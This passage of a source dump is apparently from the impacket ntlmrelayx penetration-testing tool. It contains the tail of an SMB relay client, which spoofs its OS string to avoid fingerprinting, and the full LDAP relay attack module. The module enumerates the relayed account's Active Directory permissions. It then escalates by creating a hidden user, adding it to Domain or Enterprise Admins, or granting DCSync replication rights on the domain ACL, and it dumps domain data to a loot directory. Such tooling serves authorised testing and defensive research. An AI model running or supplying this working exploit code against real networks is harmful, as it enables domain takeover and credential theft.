341 | return clientResponse, errorCode
342 |
343 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
344 | if unpack('B', str(authenticateMessageBlob)[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
345 | # We need to wrap the NTLMSSP into SPNEGO
346 | respToken2 = SPNEGO_NegTokenResp()
347 | respToken2['ResponseToken'] = str(authenticateMessageBlob)
348 | authData = respToken2.getData()
349 | else:
350 | authData = str(authenticateMessageBlob)
351 |
352 | if self.session.getDialect() == SMB_DIALECT:
353 | token, errorCode = self.sendAuthv1(authData, serverChallenge)
354 | else:
355 | token, errorCode = self.sendAuthv2(authData, serverChallenge)
356 | return token, errorCode
357 |
358 | def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
359 | v2client = self.session.getSMBServer()
360 |
361 | sessionSetup = SMB2SessionSetup()
362 | sessionSetup['Flags'] = 0
363 |
364 | packet = v2client.SMB_PACKET()
365 | packet['Command'] = SMB2_SESSION_SETUP
366 | packet['Data'] = sessionSetup
367 |
368 | # Reusing the previous structure
369 | sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
370 | sessionSetup['Buffer'] = authenticateMessageBlob
371 |
372 | packetID = v2client.sendSMB(packet)
373 | packet = v2client.recvSMB(packetID)
374 |
375 | return packet, packet['Status']
376 |
377 | def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
378 | v1client = self.session.getSMBServer()
379 |
380 | smb = NewSMBPacket()
381 | smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
382 | smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
383 | # Are we required to sign SMB? If so we do it, if not we skip it
384 | if v1client.is_signing_required():
385 | smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
386 | smb['Uid'] = v1client.get_uid()
387 |
388 | sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
389 | sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
390 | sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
391 |
392 | sessionSetup['Parameters']['MaxBufferSize'] = 65535
393 | sessionSetup['Parameters']['MaxMpxCount'] = 2
394 | sessionSetup['Parameters']['VcNumber'] = 1
395 | sessionSetup['Parameters']['SessionKey'] = 0
396 | sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
397 |
398 | # Fake Data here, don't want to get us fingerprinted
399 | sessionSetup['Data']['NativeOS'] = 'Unix'
400 | sessionSetup['Data']['NativeLanMan'] = 'Samba'
401 |
402 | sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
403 | sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
404 | smb.addCommand(sessionSetup)
405 | v1client.sendSMB(smb)
406 |
407 | smb = v1client.recvSMB()
408 |
409 | errorCode = smb['ErrorCode'] << 16
410 | errorCode += smb['_reserved'] << 8
411 | errorCode += smb['ErrorClass']
412 |
413 | return smb, errorCode
414 |
415 | def getStandardSecurityChallenge(self):
416 | if self.session.getDialect() == SMB_DIALECT:
417 | return self.session.getSMBServer().get_encryption_key()
418 | else:
419 | return None
420 |
--------------------------------------------------------------------------------
/ntlmrelayx/attacks/ldapattack.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2018 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # LDAP Attack Class
8 | #
9 | # Authors:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # LDAP(s) protocol relay attack
15 | #
16 | # ToDo:
17 | #
18 | import random
19 | import string
20 | import thread
21 | import ldapdomaindump
22 | import ldap3
23 | from impacket import LOG
24 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
25 | from impacket.ldap import ldaptypes
26 | from impacket.uuid import string_to_bin, bin_to_string
27 | from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP
28 | from pyasn1.type.namedtype import NamedTypes, NamedType
29 | from pyasn1.type.univ import Sequence, Integer
30 | from ldap3.utils.conv import escape_filter_chars
31 | from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM
32 | # This is new from ldap3 v2.5
33 | try:
34 | from ldap3.protocol.microsoft import security_descriptor_control
35 | except ImportError:
36 | # We use a print statement because the logger is not initialized yet here
37 | print('Failed to import required functions from ldap3. ntlmrelayx required ldap3 >= 2.5.0. \
38 | Please update with pip install ldap3 --upgrade')
39 | PROTOCOL_ATTACK_CLASS = "LDAPAttack"
40 |
41 | # Define global variables to prevent dumping the domain twice
42 | # and to prevent privilege escalating more than once
43 | dumpedDomain = False
44 | alreadyEscalated = False
45 | class LDAPAttack(ProtocolAttack):
46 | """
47 | This is the default LDAP attack. It checks the privileges of the relayed account
48 | and performs a domaindump if the user does not have administrative privileges.
49 | If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.
50 | """
51 | PLUGIN_NAMES = ["LDAP", "LDAPS"]
52 | def __init__(self, config, LDAPClient, username):
53 | ProtocolAttack.__init__(self, config, LDAPClient, username)
54 |
55 | def addUser(self, parent, domainDumper):
56 | """
57 | Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
58 | also be an OU or other container where we have write privileges
59 | """
60 | global alreadyEscalated
61 | if alreadyEscalated:
62 | LOG.error('New user already added. Refusing to add another')
63 | return
64 |
65 | # Random password
66 | newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
67 |
68 | # Random username
69 | newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))
70 | newUserDn = 'CN=%s,%s' % (newUser, parent)
71 | ucd = {
72 | 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
73 | 'distinguishedName': newUserDn,
74 | 'cn': newUser,
75 | 'sn': newUser,
76 | 'givenName': newUser,
77 | 'displayName': newUser,
78 | 'name': newUser,
79 | 'userAccountControl': 512,
80 | 'accountExpires': '0',
81 | 'sAMAccountName': newUser,
82 | 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
83 | }
84 |
85 | res = self.client.add(newUserDn, ['top','person','organizationalPerson','user'], ucd)
86 | if not res:
87 | # Adding users requires LDAPS
88 | if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
89 | LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
90 | else:
91 | LOG.error('Failed to add a new user: %s' % str(self.client.result))
92 | return False
93 | else:
94 | LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))
95 | # Return the DN
96 | return newUserDn
97 |
98 | def addUserToGroup(self, userDn, domainDumper, groupDn):
99 | global alreadyEscalated
100 | # For display only
101 | groupName = groupDn.split(',')[0][3:]
102 | userName = userDn.split(',')[0][3:]
103 | # Now add the user as a member to this group
104 | res = self.client.modify(groupDn, {
105 | 'member': [(ldap3.MODIFY_ADD, [userDn])]})
106 | if res:
107 | LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName))
108 | LOG.info('Privilege escalation succesful, shutting down...')
109 | alreadyEscalated = True
110 | thread.interrupt_main()
111 | else:
112 | LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
113 |
114 | def aclAttack(self, userDn, domainDumper):
115 | global alreadyEscalated
116 | if alreadyEscalated:
117 | LOG.error('ACL attack already performed. Refusing to continue')
118 | return
119 |
120 | # Query for the sid of our user
121 | self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid'])
122 | entry = self.client.entries[0]
123 | username = entry['sAMAccountName'].value
124 | usersid = entry['objectSid'].value
125 | LOG.debug('Found sid for user %s: %s' % (username, usersid))
126 |
127 | # Set SD flags to only query for DACL
128 | controls = security_descriptor_control(sdflags=0x04)
129 | alreadyEscalated = True
130 |
131 | LOG.info('Querying domain security descriptor')
132 | self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
133 | entry = self.client.entries[0]
134 | secDescData = entry['nTSecurityDescriptor'].raw_values[0]
135 | secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
136 |
137 | secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
138 | secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
139 | dn = entry.entry_dn
140 | data = secDesc.getData()
141 | self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
142 | if self.client.result['result'] == 0:
143 | alreadyEscalated = True
144 | LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain' % username)
145 | LOG.info('Try using DCSync with secretsdump.py and this user :)')
146 | return True
147 | else:
148 | LOG.error('Error when updating ACL: %s' % self.client.result)
149 | return False
150 |
151 | def validatePrivileges(self, uname, domainDumper):
152 | # Find the user's DN
153 | membersids = []
154 | sidmapping = {}
155 | privs = {
156 | 'create': False, # Whether we can create users
157 | 'createIn': None, # Where we can create users
158 | 'escalateViaGroup': False, # Whether we can escalate via a group
159 | 'escalateGroup': None, # The group we can escalate via
160 | 'aclEscalate': False, # Whether we can escalate via ACL on the domain object
161 | 'aclEscalateIn': None # The object which ACL we can edit
162 | }
163 | self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])
164 | user = self.client.entries[0]
165 | usersid = user['objectSid'].value
166 | sidmapping[usersid] = user.entry_dn
167 | membersids.append(usersid)
168 | # The groups the user is a member of
169 | self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])
170 | LOG.debug('User is a member of: %s' % self.client.entries)
171 | for entry in self.client.entries:
172 | sidmapping[entry['objectSid'].value] = entry.entry_dn
173 | membersids.append(entry['objectSid'].value)
174 | # Also search by primarygroupid
175 | # First get domain SID
176 | self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])
177 | domainsid = self.client.entries[0]['objectSid'].value
178 | gid = user['primaryGroupId'].value
179 | # Now search for this group by SID
180 | self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])
181 | group = self.client.entries[0]
182 | LOG.debug('User is a member of: %s' % self.client.entries)
183 | # Add the group sid of the primary group to the list
184 | sidmapping[group['objectSid'].value] = group.entry_dn
185 | membersids.append(group['objectSid'].value)
186 | controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl
187 | # Now we have all the SIDs applicable to this user, now enumerate the privileges
188 | entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=container)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
189 | self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
190 | # Interesting groups we'd like to be a member of, in order of preference
191 | interestingGroups = [
192 | '%s-%d' % (domainsid, 519), # Enterprise admins
193 | '%s-%d' % (domainsid, 512), # Domain admins
194 | 'S-1-5-32-544', # Built-in Administrators
195 | 'S-1-5-32-551', # Backup operators
196 | 'S-1-5-32-548', # Account operators
197 | ]
198 | privs['escalateViaGroup'] = False
199 | for group in interestingGroups:
200 | self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'])
201 | groupdata = self.client.response
202 | self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)
203 | if privs['escalateViaGroup']:
204 | # We have a result - exit the loop
205 | break
206 | return (usersid, privs)
207 |
208 | def getUserInfo(self, domainDumper, samname):
209 | entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
210 | try:
211 | dn = self.client.entries[0].entry_dn
212 | sid = self.client.entries[0]['objectSid']
213 | return (dn, sid)
214 | except IndexError:
215 | LOG.error('User not found in LDAP: %s' % samname)
216 | return False
217 |
218 | def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper):
219 | for entry in entries:
220 | if entry['type'] != 'searchResEntry':
221 | continue
222 | dn = entry['dn']
223 | try:
224 | sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]
225 | except IndexError:
226 | # We don't have the privileges to read this security descriptor
227 | continue
228 | hasFullControl = False
229 | secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()
230 | secDesc.fromString(sdData)
231 | if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids:
232 | sid = secDesc['OwnerSid'].formatCanonical()
233 | LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid]))
234 | hasFullControl = True
235 | # Iterate over all the ACEs
236 | for ace in secDesc['Dacl'].aces:
237 | sid = ace['Ace']['Sid'].formatCanonical()
238 | if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:
239 | continue
240 | if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE):
241 | # ACE is set on this object, but only inherited, so not applicable to us
242 | continue
243 | # Check if the ACE has restrictions on object type
244 | if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
245 | and ace.hasFlag(ACE.INHERITED_ACE) \
246 | and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):
247 | # Verify if the ACE applies to this object type
248 | if not self.aceApplies(ace, entry['raw_attributes']['objectClass']):
249 | continue
250 |
251 | if sid in membersids:
252 | if can_create_users(ace) or hasFullControl:
253 | if not hasFullControl:
254 | LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
255 | if dn == 'CN=Users,%s' % domainDumper.root:
256 | # We can create users in the default container, this is preferred
257 | privs['create'] = True
258 | privs['createIn'] = dn
259 | else:
260 | # Could be a different OU where we have access
261 | # store it until we find a better place
262 | if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and 'organizationalUnit' in entry['raw_attributes']['objectClass']:
263 | privs['create'] = True
264 | privs['createIn'] = dn
265 | if can_add_member(ace) or hasFullControl:
266 | if 'group' in entry['raw_attributes']['objectClass']:
267 | # We can add members to a group
268 | if not hasFullControl:
269 | LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
270 | privs['escalateViaGroup'] = True
271 | privs['escalateGroup'] = dn
272 | if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl:
273 | if not hasFullControl:
274 | LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
275 | # We can modify the domain Dacl
276 | if 'domain' in entry['raw_attributes']['objectClass']:
277 | privs['aclEscalate'] = True
278 | privs['aclEscalateIn'] = dn
279 |
280 | @staticmethod
281 | def aceApplies(ace, objectClasses):
282 | '''
283 | Checks if an ACE applies to this object (based on object classes).
284 | Note that this function assumes you already verified that InheritedObjectType is set (via the flag).
285 | If this is not set, the ACE applies to all object types.
286 | '''
287 | objectTypeGuid = bin_to_string(ace['Ace']['InheritedObjectType']).lower()
288 | for objectType, guid in OBJECTTYPE_GUID_MAP.iteritems():
289 | if objectType in objectClasses and objectTypeGuid:
290 | return True
291 | # If none of these match, the ACE does not apply to this object
292 | return False
293 |
294 |
295 | def run(self):
296 | #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')
297 | #print self.client.entries
298 | global dumpedDomain
299 | # Set up a default config
300 | domainDumpConfig = ldapdomaindump.domainDumpConfig()
301 |
302 | # Change the output directory to configured rootdir
303 | domainDumpConfig.basepath = self.config.lootdir
304 |
305 | # Create new dumper object
306 | domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)
307 | userSid, privs = self.validatePrivileges(self.username, domainDumper)
308 | if privs['create']:
309 | LOG.info('User privileges found: Create user')
310 | if privs['escalateViaGroup']:
311 | name = privs['escalateGroup'].split(',')[0][3:]
312 | LOG.info('User privileges found: Adding user to a privileged group (%s)' % name)
313 | if privs['aclEscalate']:
314 | LOG.info('User privileges found: Modifying domain ACL')
315 |
316 | # We prefer ACL escalation since it is more quiet
317 | if self.config.aclattack and privs['aclEscalate']:
318 | LOG.debug('Performing ACL attack')
319 | if self.config.escalateuser:
320 | # We can escalate an existing user
321 | result = self.getUserInfo(domainDumper, self.config.escalateuser)
322 | # Unless that account does not exist of course
323 | if not result:
324 | LOG.error('Unable to escalate without a valid user, aborting.')
325 | return
326 | userDn, userSid = result
327 | # Perform the ACL attack
328 | self.aclAttack(userDn, domainDumper)
329 | return
330 | else:
331 | # Create a nice shiny new user for the escalation
332 | userDn = self.addUser(privs['createIn'], domainDumper)
333 | if not userDn:
334 | LOG.error('Unable to escalate without a valid user, aborting.')
335 | return
336 | # Perform the ACL attack
337 | self.aclAttack(userDn, domainDumper)
338 | return
339 |
340 | # If we can't ACL escalate, try adding us to a privileged group
341 | if self.config.addda and privs['escalateViaGroup']:
342 | LOG.debug('Performing Group attack')
343 | if self.config.escalateuser:
344 | # We can escalate an existing user
345 | result = self.getUserInfo(domainDumper, self.config.escalateuser)
346 | # Unless that account does not exist of course
347 | if not result:
348 | LOG.error('Unable to escalate without a valid user, aborting.')
349 | return
350 | userDn, userSid = result
351 | # Perform the Group attack
352 | self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])
353 | return
354 | else:
355 | # Create a nice shiny new user for the escalation
356 | userDn = self.addUser(privs['createIn'], domainDumper)
357 | if not userDn:
358 | LOG.error('Unable to escalate without a valid user, aborting.')
359 | return
360 | # Perform the Group attack
361 | self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])
362 | return
363 |
364 | # Last attack, dump the domain if no special privileges are present
365 | if not dumpedDomain and self.config.dumpdomain:
366 | # Do this before the dump is complete because of the time this can take
367 | dumpedDomain = True
368 | LOG.info('Dumping domain info for first time')
369 | domainDumper.domainDump()
370 | LOG.info('Domain info dumped into lootdir!')
371 |
372 | # Create an object ACE with the specified privguid and our sid
373 | def create_object_ace(privguid, sid):
374 | nace = ldaptypes.ACE()
375 | nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE
376 | nace['AceFlags'] = 0x00
377 | acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()
378 | acedata['Mask'] = ldaptypes.ACCESS_MASK()
379 | acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
380 | acedata['ObjectType'] = string_to_bin(privguid)
381 | acedata['InheritedObjectType'] = ''
382 | acedata['Sid'] = ldaptypes.LDAP_SID()
383 | acedata['Sid'].fromCanonical(sid)
384 | acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT
385 | nace['Ace'] = acedata
386 | return nace
387 |
388 | # Check if an ACE allows for creation of users
389 | def can_create_users(ace):
390 | createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD)
391 | if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == '':
392 | return False
393 | userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2'
394 | return createprivs and userprivs
395 |
396 | # Check if an ACE allows for adding members
397 | def can_add_member(ace):
398 | writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP)
399 | if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == '':
400 | return writeprivs
401 | userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2'
402 | return writeprivs and userprivs
403 |
--------------------------------------------------------------------------------